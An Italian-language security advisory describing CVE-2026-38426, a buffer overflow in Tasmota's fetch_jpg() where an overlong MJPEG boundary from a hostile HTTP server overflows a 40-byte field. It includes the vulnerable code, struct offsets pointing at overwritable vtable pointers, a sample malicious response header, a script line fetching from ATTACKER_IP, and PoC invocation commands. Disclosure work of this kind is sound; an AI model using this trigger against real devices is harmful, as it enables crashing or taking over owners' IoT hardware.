
CVE-2026-38426 — Overflow del buffer di stack in strcpy() in Tasmota fetch_jpg() boundary[40] (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38426
Gravità: Critica (CVSS 9.8)
Prodotto: Arendst Tasmota
Versione interessata: <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Funzione: fetch_jpg() — case 0 (connessione iniziale)
Autore: Saidakbarxon Maxsudxonov
Divulgazione: Responsabile — segnalato a Tasmota prima della pubblicazione
Una classica vulnerabilità di buffer overflow tramite strcpy() è presente nella funzione fetch_jpg() del driver scripter di Tasmota. La stringa boundary MJPEG estratta dall'header di risposta HTTP Content-Type viene copiata in un buffer fisso di 40 byte (boundary[40]) senza alcuna validazione della lunghezza. Un attaccante che controlla il server HTTP MJPEG può fornire una stringa boundary più lunga di 39 caratteri per provocare l'overflow del buffer e corrompere la memoria heap adiacente — ottenendo potenzialmente l'esecuzione di codice remoto sull'ESP32.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
struct JPG_TASK {
char boundary[40]; // ← FIXED SIZE — only 40 bytes!
bool draw;
uint8_t scale;
uint16_t xp;
uint16_t yp;
WiFiClient stream; // contains vtable pointer
HTTPClient http; // contains vtable pointer
} jpg_task;
// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW!
}
struct JPG_TASK layout:
+0x00 boundary[40] ← overflow starts here
+0x28 draw (bool) ← corrupted
+0x29 scale (uint8_t) ← corrupted
+0x2A xp (uint16_t) ← corrupted
+0x2C yp (uint16_t) ← corrupted
+0x2E WiFiClient ← vtable ptr overwritten → RCE
+0x7E HTTPClient ← vtable ptr overwritten → RCE
L'attaccante esegue un server HTTP a cui Tasmota si connette tramite fetchjp(). Il server risponde con un header Content-Type contenente una stringa boundary più lunga di 39 caratteri:
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Il strcpy() di Tasmota copia 50+ byte nel buffer boundary di 40 byte, provocando l'overflow nei campi adiacenti della struct.
Attivazione tramite script Tasmota:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info
Vedi CVE-2026-38426_poc.py per l'implementazione completa.